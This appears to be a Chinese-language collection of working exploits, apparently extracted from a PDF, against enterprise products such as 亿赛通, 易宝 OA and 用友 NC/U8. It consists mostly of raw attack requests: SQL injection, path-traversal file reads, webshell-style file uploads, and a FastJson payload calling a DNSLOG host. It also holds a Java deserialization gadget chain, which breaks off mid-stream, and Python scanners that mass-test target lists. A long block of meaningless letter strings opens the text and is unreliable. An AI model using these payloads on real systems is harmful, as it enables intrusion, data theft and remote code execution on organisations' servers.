ECDNLHMPGPGMJMGJIJHDBFECNLMLFCLDFOMCFNBJELHJFFLDKGNOIHKEIFCBPOPCBGIJENFHKCNKOJMFB
FIPFGBLFJCFPFNOCKGAADPFFEJFDNKGFMEILHBFMAFBMBOFNDGOMCGNIGJGOBPEOBPEKGPMMEMHLHMMCN
DCDFPMACNDELNHGCALNPHHNFFLNAKEEEELCDLHDHBFOJBJFHBOJNBGEOLIACBICKNMEEGPBEKIBEEMKGK
LDAKAALKOBBJIGECCKHILNGKJLKGJBOPOFHCNHBKFPHLLLLMNNKPJADFGMCMPLILPCLOLJPOCIOOPOAPP
MPFOEPNFGEEDALHLEIHJFAIHCFKLJKCBAABOIBBEAGAAPJJIHIHIACHLKBCPMEHCDGDPKPMALDBADOEKF
MDFGAPPGNNJDAMPMNBAEHLLGIGCOLKJPGANBJODFEMFHHDAIMFNNIAEAKLKBBEEADPHIDIINDABGNKNOO
DAGKLPGAIOIFJLONMCNGOMOEALKIIJFLAHEDDNHDENODGINCAGDBFAAECFCNPBBOBBIALOHDOIOMMMJCA
HMEFMAGNLALDIPAJPHLOKCHJGGLGEHFJKMDEAHEGABCCMCFOBFCMGGKGBCCBPJIJJNHNAPPECAPJEHMDM
OLFIEOIFOFFGKCFCNFAKAPGBMEBJGIDLDBNHOLJGLOKOOKCNHGLNEGNBKHFDOJINFAPPKMMOJCOCENEHP
CGDNKKOJFPBNFHIDDHFPHMCOAOKMOPHJNOJCFOJJGOOLNCKAHBFDPIDMJGKBHHEAIOKPJEAJJCNJFMMCK
HJANGDEIHKHBAAFJCJGGECNBIBNLBLFMBGDJGHJDPMBIMPJLLBNNANCJJHBJBLEPGNIJOLGJLCGEJKNGB
LDLGKMIOANJGGDPHHCGHLENGJHBANCELNLNNBADCDDCDOENGLFGIEBCMHPFBLOIDMDNBCAMFMCMMKCDKP
OFBJFBGCMPOFAPCILIPFJDEDDAGKFMHBBEHIHOAGDKPONBOADJEIKKBPNBAPDNOEEEFONAMIFBLIHLLKO
LEFHKPPKONJOCFHFOAPIJGMHKPHGIMBGOBOAOCGLMGDLIOPIJKFJIPCHAJEGJFCPOBLAEDFFGIMKEIPDB
KNCKIHFHCIHDFACJMOGHMONMPPDKODNGCOBFMKBBMIEFGHOKOMDADNGANEMKDFLNMCABMOONIFKFEGDLJ
FAHLOODEBNBKFGPLANHIJFFDLBFJDCJHMPCPHBDPFICAJHCBBKLNLGEPHMCGKEKOLJBIIAMLMCFBIGACE
HBBLHAIBBODKEDBPKPADPBJIKCGFCKDHPKCGELAMHIFEBBICMAGHPDCIIAJMBKCFMHJDHIPNNHFJILAIB
PKKGLOEONLBLJGCIMHKAJCAHCNNDBDEJNDGFNMEJJECPFIONGEMLMOPEDNJDFBAHAEBOKMCNEMBEOMFIF
CKLEKNLJOAINFFJLKPGPLHJMAOMLFLGDPBCIIPPPOHNMKOKPGEMFEOLDEHEJMPIOIAODDNJOFGLHNDAJI
CAOFOJKDDFBMMJJEIAPPNDBAKMJIIGNHJOPHKPINANLLLBBIGNIKKHDLKLJGOPKHGHICEACMCJNMMDJGB
NACEOFNBDNKAKIOMHPECJEELPLNGPGMPHCOJGOFBENNNKIEKOJHKDAFGBAKHGILNJMMOKHDMIDIOGGKPF
IFJOLIDDEGFCLKGNICGHJOINJCBOPOBKNAIDEEAGGLCMCEGPGEDPNFIKEADDPPINJIOMFKGCMJHDHLGMO
DMMGCNEIGNGGEMLLABHCCHGGDPGHJFBJMCCFGJCLCFCDJEBFMDMIEDBFJPKLONGIHJABFOGBAALJKCADC
BOMDFAHLBPIJEFGLGOGPEAFAKFJCALDHMICDCIHPICLPEANCLCBKOIAMEHHLFIJHPEACFCPDDKCJHMNDB
HEHLHBHHPEEACDMICBKGDHODHPCMLAMHOEJKAOODJCIPGMOCGPOAFJDDLGCENAKAFDBDEOKAGLBHJHEJE
HCCJEFMIFNJDPDFNFFPAOLIHNFLJDDECGLCJNEEACCJDHPKOIJMOJOPDOKIGOPKMOHHPNOLCDHMOOFDKK
BCBEPJPFJBDOEJBCODALFBPMGFPHEMFIBCBEMCANBOMOAKAIGFHJAKKGGAMDPDFMHEEDFHOHKABHBEJFE
GAEIPMBPBIHIABBILCOGDCPKHJIPBLCLJEENPKOJLHMALCEKELIPFFLJNNBINAPPOFHPEJDNNILKCEECP
JIGJMKEJCNPEKJMDKPLLEHDDIGKKEDEPFHIJKKPNBBAJAMKNMNHIJFHBCKPKAKMAKCHMJJPFMFCFBKJMM
EBABPCGCOCNKBJJPLMPHPJFLJLDABHNFFBOIGNCOFHBMFKCKMMENEJCPDOBPMAIDHBNKIAIGKAAHDCAIB
LBKPNNLBNMEDCCOBGMDMAHJPPENANOCILDNELHNCIEAOMGKLMCLLEDDPNLDJNBFPEJOKCNNCJHKAPOCGF
GENACAGBNBDEIAMGCCGKDNOLNKOCNMMABOMGGKGOFFOLKALPKFNMJJMEMMBBIAAFAAFPIBBDLOENGFIJJ
```

```
AFHNKKIDCGJNIGAFPCPDHPJAKCEKCCKDAIEDJCIJGMJJLEOEDELMJJMEJCCNEIMPDKIALLHFJNNGHOMIJ
IDPOCLOMECDFMEPAGLKNKEAPKHCBCFDINJHAGJAGPCGEJJEFAABLOEHMDIIGNKKDIILLFGPMBOIKEAAAJ
GPJHFGAFFPFEPKIKLKBMKLODNLBMFIEFPGAGFPCDCPJACDAEHCFOGEJHHLLBLBBDDOEEJJBPPHDCCOGPO
PFOPCFJKBGCNCLLHNAJKIKLHKKIJLAIKBHCMBODNCPCLNHDLMHDPNKGIBANJJHCFLIMKPFOAIEDBDMIBE
EPIHODEOLGAJHBNEOGCKIBMGIMJKLAOFAIACFJGOFEIBIOOPDCDCNFIOGCDKEGHEIAOBDCKLLGMEOEKIE
HCEBFKAGOLFGCMNLNMJCNJMDBHMDPEGHHFKOJDDAPPHJMBLBDODOHKPNABBMBHMCCMKINKJLCIFBIPCEN
LPLOFOAJPEFHCDEOGLGFHNOBFFLHDMHNEFAIPMBJJMIIDAEAJAKGDIHIOIPIOPBJKOLEHJLBIOLGLBMHN
CNDAHOGDOILIJANBPNLPPKCOKJFJPCLFJPGKDCBMGEOGGGANMMKDILOMJJLPKJJCOPFKPFAHNAIMDOKPC
IKNEMFGMGCOGGMKBIBDEKDAKBPBJKPAFGODBFLGADBFNMDAHGLDGNFLLBONBDLAAOIIICMHIPDJCMHBGL
FJAIMIBHABENMJOEHJLKGIIJDBBEHFJCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGC
OKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMGOPFDMJHCMOGLKPICOEEDDKPAHLEGOMDMDF
LKFECCPILAKGLGDEMGMGEPODAGGJPPNDCHOBPHJKBDAKECOBIOJGKDMBKDBFPEGIGNOBDGELAENFFLCBK
HHJADGFGCBAINLJPDMOBGLNNHAOBHGLGMMLDHGINFFOLLALGGAADPGMNJDMNOLKINDIKKIHJKDEKFAJDH
PHNGAIBGNAODMICFEFCCHDPGMLJOGIJCIOOMMGEKPILGPFJOCMKILLFGPEAIBIDBGNPPDHLLAHMKLEJBJ
FBFPFBDNEJCNPK
```

亿赛通电子文档安全管理系统SecretKeyService存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/CDGServer3/SecretKeyService
- 漏洞详情：

```
GET /CDGServer3/SecretKeyService?
command=sameKeyName&keyName=1'+WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
```

亿赛通新一代电子文档安全管理系统远程代码执行漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/CDGServer3/logincontroller
- 漏洞详情：

```
POST /CDGServer3/logincontroller HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Connection: close
fromurl=/LdapAjax&token=1&command=testConnection&hosts=ldap://192.168.10.1:1379/C
N=account,OU=exp,DC=exp,DC=com&users=account&dns=CN=account,OU=exp,DC=exp,DC=com&
dns2=OU=exp,DC=exp,DC=com&type=0&pwds=123456
```

亿赛通新一代电子文档安全管理系统身份绕过漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/CDGServer3/openapi/getAllUsers
  /CDGServer3/rpc/userManage/userPwdReset.js

- 漏洞详情：

```
POST /CDGServer3/openapi/getAllUsers HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

pageSize=10000&pageNumber=1




POST /CDGServer3/rpc/userManage/userPwdReset.js HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
userIds=test
```

亿赛通电子文档安全管理系统 LogDownLoadService sql注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/CDGServer3/logManagement/LogDownLoadService
- 漏洞详情：

```
POST /CDGServer3/logManagement/LogDownLoadService HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

command=downLoadLogFiles&currPage=1&fromurl=../user/dataSearch.jsp&logFileName=indsex.txt&id=-1';WAITFOR DELAY '0:0:6'--
```

易宝

易宝OA ExecuteSqlForSingle SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/api/system/ExecuteSqlForSingle
- 漏洞详情：

```
import requests
import concurrent.futures

def check_vulnerability(target):

    headers = {
        "User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = {
    "token": "zxh",
    "sql": "select substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)",
    "strParameters": ""
    }
    try:
        res = requests.post(f"{target}/api/system/ExecuteSqlForSingle", headers=headers,data=data,timeout=5)
        if "e10adc3949ba59abbe56e057f20f883e" in res.text and "success" in res.text:
            print(f"{target} 漏洞存在")
            with open("attack.txt", 'a') as f:
                f.write(f"{target}\n")
        else:
            print(f"{target} 漏洞不存在")
    except:
        print(f"{target} 访问错误")

if __name__ == "__main__":
    f = open("target.txt", 'r')
    targets = f.read().splitlines()

    # 使用线程池并发执行检查漏洞
    with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
        executor.map(check_vulnerability, targets)
```

易宝OA系统BasicService.asmx SQL注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：未知
- 利用路径：/WebService/BasicService.asmx
- 漏洞详情：

```
POST /WebService/BasicService.asmx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Content-Type: application/x-www-form-urlencoded
SOAPAction: "http://tempuri.org/GetStreamID"
Content-Length: 85

<?xml version="1.0" encoding="utf-8"?>
```

```
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetStreamID xmlns="http://tempuri.org/">
      <tableName>';waitfor delay '0:0:6'--+</tableName>
      <webservicePassword>{ac80457b-368d-4062-b2dd-ae4d490e1c4b}
</webservicePassword>
    </GetStreamID>
  </soap:Body>
</soap:Envelope>
```

易宝 OA /api/system/ExecuteQueryNoneResult 接口SQL注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：未知
- 利用路径：/api/system/ExecuteQueryNoneResult
- 漏洞详情：

```
POST /api/system/ExecuteQueryNoneResult HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0)
Gecko/20100101 Firefox/124.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
token=zxh&cmdText=;WAITFOR+DELAY+'0:0:10'
```

易捷

易捷 OA 协同办公软件 ShowPic 接口存在任意文件读取漏洞

- 漏洞类型：0day - 任意文件读取
- 涉及版本：未知
- 利用路径：/servlet/ShowPic
- 漏洞详情：

```
GET /servlet/ShowPic?filePath=../../windows/win.ini HTTP/1.1
```

易捷OA协同办公软件ShowPic接口存在任意文件读取

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/servlet/ShowPic
- 漏洞详情：

```
GET /servlet/ShowPic?filePath=../../windows/win.ini HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

因酷

因酷教育平台RCE(CVE-2024-35570)

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/image/gok4
- 漏洞详情：

```
POST /image/gok4?&param=image&fileType=jpg,gif,png,jpeg,jspx&pressText=undefined HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------308436435515370414691526924874
Content-Length: 2853
Origin: http://192.168.3.102:8080
Connection: close
Referer: http://192.168.3.102:8080/admin/website/doUpdateImages/309
Upgrade-Insecure-Requests: 1
Priority: u=4

-----------------------------308436435515370414691526924874
Content-Disposition: form-data; name="uploadfile"; filename="../../../../2.jspx"
Content-Type: image/jpeg

123
-----------------------------308436435515370414691526924874--
```

用友

用友 U8 cloud MonitorServlet 反序列化漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/service/~iufo/nc.bs.framework.mx.monitor.MonitorServlet

- 漏洞详情：

```
POST /service/~iufo/nc.bs.framework.mx.monitor.MonitorServlet HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
恶意序列化数据
```

用友NC querygoodsgridbycode存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/ecp/productonsale/querygoodsgridbycode.json?code=
- 漏洞详情：

```
GET /ecp/productonsale/querygoodsgridbycode.json?code=1%27%29+AND+9976%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%2898%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN+%289976%3D9976%29+THEN+1+ELSE+0+END%29+FROM+DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28118%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29--+dpxi HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cache-Control: no-cache
```

用友U8 CRM import.php文件上传

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/crmtools/tools/import.php
- 漏洞详情：

```
POST /crmtools/tools/import.php?DontCheckLogin=1&issubmit=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Length: 277
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

```
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundarye0z8QbHs79gL8vW5
Upgrade-Insecure-Requests: 1

------WebKitFormBoundarye0z8QbHs79gL8vW5
Content-Disposition: form-data; name="xfile"; filename="11.xls"

<?php phpinfo();?>
------WebKitFormBoundarye0z8QbHs79gL8vW5
Content-Disposition: form-data; name="combo"

help.php
------WebKitFormBoundarye0z8QbHs79gL8vW5--
```

用友U8Cloud ActionServlet SQL注入

- 漏洞类型：0day - SQL注入
- 涉及版本：1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp,5.1
- 利用路径：/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasQueryConditionFrameAction&method=doCopy&TableSelectedID=1
- 漏洞详情：

```
GET /service/~iufo/com.ufida.web.action.ActionServlet?
action=nc.ui.iufo.query.measurequery.MeasQueryConditionFrameAction&method=doCopy&
TableSelectedID=1 HTTP/1.1
Host: 地址
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101
Firefox/113.0Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q
=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

用友NC-Cloud blobRefClassSearch接口存在FastJson反序列化漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/ncchr/pm/ref/indiIssued/blobRefClassSearch
- 漏洞详情：

```
POST /ncchr/pm/ref/indiIssued/blobRefClassSearch HTTP/1.1
Content-Type: application/json
Host:
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.4103.116 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

{"clientParam":"{\"x\":{\"@type\":\"java.net.InetSocketAddress\"{\"address\":,\"val\":\"DNSLOG.COM\"}}}"}
```

用友时空KSOA PreviewKPQT.jsp接口处存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：V9.0
- 利用路径：/kp/PreviewKPQT.jsp?KPQTID=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--
- 漏洞详情：

```
/kp/PreviewKPQT.jsp?KPQTID=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--
```

用友U9-UMWebService.asmx存在文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/u9/OnLine/UMWebService.asmx
- 漏洞详情：

```
POST /u9/OnLine/UMWebService.asmx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Safari/537.36
Connection: close
Content-Length: 381
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/GetLogContent"
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetLogContent xmlns="http://tempuri.org/">
      <fileName>../web.config</fileName>
    </GetLogContent>
  </soap:Body>
</soap:Envelope>
```

用友u8-cloud RegisterServlet SQL注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/servlet/RegisterServlet
- 漏洞详情：

```
import requests

def verify(ip):
    url = f'{ip}/servlet/RegisterServlet'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36',
        'Connection': 'close',
        'Content-Length': '85',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept-Encoding': 'gzip',
    }
    payload = '''usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--'''
    try:
        response = requests.post(url, headers=headers, data=payload,verify=False)
        # 验证成功输出相关信息
        if response.status_code == 200 :
            print(f"{ip}存在用友u8-cloud RegisterServlet SQL注入漏洞！！！")

    except Exception as e:
        pass


if __name__ == '__main__':
    self = input('请输入目标主机IP地址：')
    verify(self)
```

用友 NC Cloud jsinvoke 任意文件上传

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/uapjs/jsinvoke/?action=invoke
- 漏洞详情：

```
import requests
```

```
def verify(ip):

    url = f'{ip}/uapjs/jsinvoke/?action=invoke'

    headers = {
        'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
    }

    payload = '''
    {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig",
    "parameterTypes":["java.lang.Object","java.lang.String"],
    "parameters":["123456","webapps/nc_web/2YIOmzdcUDhwMYTLk65p3cgxvxy.jsp"]}
    '''

    try:
        response = requests.post(url, headers=headers, data=payload)
        if response.status_code == 200 :
            print(f"{ip}存在用友 NC Cloud jsinvoke 任意文件上传漏洞！！！")
        else:
            print('漏洞不存在。')

    except Exception as e:
        pass

if __name__ == '__main__':
    self = input('请输入目标主机IP地址：')
    verify(self)
```

用友NC任意文件读取

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/portal/pt/xml/file/download
- 漏洞详情：

```
import requests
import concurrent.futures

def check_vulnerability(target):
    headers = {
        "User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)"
    }

    try:
        # print(target)

        res = requests.get(fr"http://{target}/portal/pt/xml/file/download?pageId=login&filename=..\index.jsp", headers=headers, data=r"decorator=%2FWEB-INF%2Fweb.xml&confirm=true", timeout=5)
        if "window.location" in res.text :
            print(f"[+]{target}漏洞存在")
            with open("attack.txt",'a') as fw:
                fw.write(f"{target}\n")
        else:
            print(f"[-]{target}漏洞不存在")
    except Exception as e:
        print(f"[-]{target}访问错误")
if __name__ == "__main__":
    print("target.txt存放目标文件")
    print("attack.txt存放检测结果")
    print("------------------------")
    print("按回车继续")
    import os
    os.system("pause")
    f = open("target.txt", 'r')
    targets = f.read().splitlines()
    print(targets)

    # 使用线程池并发执行检查漏洞
    with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
        executor.map(check_vulnerability, targets)
```

用友U8cloud-MeasureQueryFrameAction存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp
- 利用路径：/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryFrameAction&method=doRefresh&TableSelectedID=
- 漏洞详情：

```
/service/~iufo/com.ufida.web.action.ActionServlet?
action=nc.ui.iufo.query.measurequery.MeasureQueryFrameAction&method=doRefresh&TableSelectedID=1%27);WAITFOR+DELAY+%270:0:3%27--+
```

用友-畅捷通CRM-任意文件上传

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/ajax/uploadfile.php
- 漏洞详情：

```
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101
Firefox/121.0
```

用友-CRM客户关系管理系统-任意文件上传

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/crmtools/tools/import.php
- 漏洞详情：

```
POST /crmtools/tools/import.php?DontCheckLogin=1&issubmit=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Length: 277
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundarye0z8QbHs79gL8vW5
Upgrade-Insecure-Requests: 1

------WebKitFormBoundarye0z8QbHs79gL8vW5
Content-Disposition: form-data; name="xfile"; filename="11.xls"

<?php phpinfo();?>
------WebKitFormBoundarye0z8QbHs79gL8vW5
Content-Disposition: form-data; name="combo"

help.php
------WebKitFormBoundarye0z8QbHs79gL8vW5--
```

用友NC-UserAuthenticationServlet存在反序列化漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/servlet/~uapim/nc.bs.pub.im.UserAuthenticationServlet
- 漏洞详情：

```
POST /servlet/~uapim/nc.bs.pub.im.UserAuthenticationServlet HTTP/1.1
Host:
Cmd: id
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15
(KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
```

```
{{unquote("\xac\xed\x00\x05sr\x00\x11java.util.HashSet\xbaD\x85\x95\x96\xb8\xb74\
x03\x00\x00xpw\x0c\x00\x00\x00\x02?
@\x00\x00\x00\x00\x00\x01sr\x004org.apache.commons.collections.keyvalue.TiedMapEn
try\x8a\xad\xd2\x9b9\xc1\x1f\xdb\x02\x00\x02L\x00\x03keyt\x00\x12Ljava/lang/Objec
t;L\x00\x03mapt\x00\x0fLjava/util/Map;xpt\x00\x03foosr\x00*org.apache.commons.col
lections.map.LazyMapn\xe5\x94\x82\x9ey\x10\x94\x03\x00\x01L\x00\x07factoryt\x00,L
org/apache/commons/collections/Transformer;xpsr\x00:org.apache.commons.collection
s.functors.ChainedTransformer0\xc7\x97\xec\x28z\x97\x04\x02\x00\x01[\x00\x0diTran
sformerst\x00-[Lorg/apache/commons/collections/Transformer;xpur\x00-
[Lorg.apache.commons.collections.Transformer;\xbdV*\xf1\xd84\x18\x99\x02\x00\x00x
p\x00\x00\x00\x07sr\x00;org.apache.commons.collections.functors.ConstantTransform
erXv\x90\x11A\x02\xb1\x94\x02\x00\x01L\x00\x09iConstantq\x00~\x00\x03xpvr\x00*org
.mozilla.javascript.DefiningClassLoader\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00xpsr\x00:org.apache.commons.collections.functors.InvokerTransformer\x87\xe8\xff
k\x7b|\xce8\x02\x00\x03[\x00\x05iArgst\x00\x13[Ljava/lang/Object;L\x00\x0biMethod
Namet\x00\x12Ljava/lang/String;
[\x00\x0biParamTypest\x00\x12[Ljava/lang/Class;xpur\x00\x13[Ljava.lang.Object;\x9
0\xceX\x9f\x10s\x29l\x02\x00\x00xp\x00\x00\x00\x01ur\x00\x12[Ljava.lang.Class;\xa
b\x16\xd7\xae\xcb\xcdZ\x99\x02\x00\x00xp\x00\x00\x00\x00t\x00\x16getDeclaredConst
ructoruq\x00~\x00\x1a\x00\x00\x00\x01vq\x00~\x00\x1asq\x00~\x00\x13uq\x00~\x00\x1
8\x00\x00\x00\x01uq\x00~\x00\x18\x00\x00\x00\x00t\x00\x0bnewInstanceuq\x00~\x00\x
1a\x00\x00\x00\x01vq\x00~\x00\x18sq\x00~\x00\x13uq\x00~\x00\x18\x00\x00\x00\x02t\
x00\x02A4ur\x00\x02[B\xac\xf3\x17\xf8\x06\x08T\xe0\x02\x00\x00xp\x00\x00\x1b\xbb\
xca\xfe\xba\xbe\x00\x00\x001\x01\x9a\x0a\x00\x1e\x00\xad\x0a\x00C\x00\xae\x0a\x00
C\x00\xaf\x0a\x00\x1e\x00\xb0\x08\x00\xb1\x0a\x00\x1c\x00\xb2\x0a\x00\xb3\x00\xb4
\x0a\x00\xb3\x00\xb5\x07\x00\xb6\x0a\x00C\x00\xb7\x08\x00\xa5\x0a\x00!\x00\xb8\x0
8\x00\xb9\x08\x00\xba\x07\x00\xbb\x08\x00\xbc\x08\x00\xbd\x07\x00\xbe\x0a\x00\x1c
\x00\xbf\x08\x00\xc0\x08\x00\xc1\x07\x00\xc2\x0b\x00\x16\x00\xc3\x0b\x00\xc4\x00\
xc5\x0b\x00\xc4\x00\xc6\x08\x00\xc7\x08\x00\xc8\x07\x00\xc9\x0a\x00\x1c\x00\xca\x
07\x00\xcb\x0a\x00\xcc\x00\xcd\x08\x00\xce\x07\x00\xcf\x08\x00\xd0\x0a\x00\x8f\x0
0\xd1\x0a\x00!\x00\xd2\x08\x00\xd3\x09\x00\xd4\x00\xd5\x0a\x00\xd4\x00\xd6\x08\x0
0\xd7\x0a\x00\x8f\x00\xd8\x0a\x00\x1c\x00\xd9\x08\x00\xda\x07\x00\xdb\x0a\x00\x1c
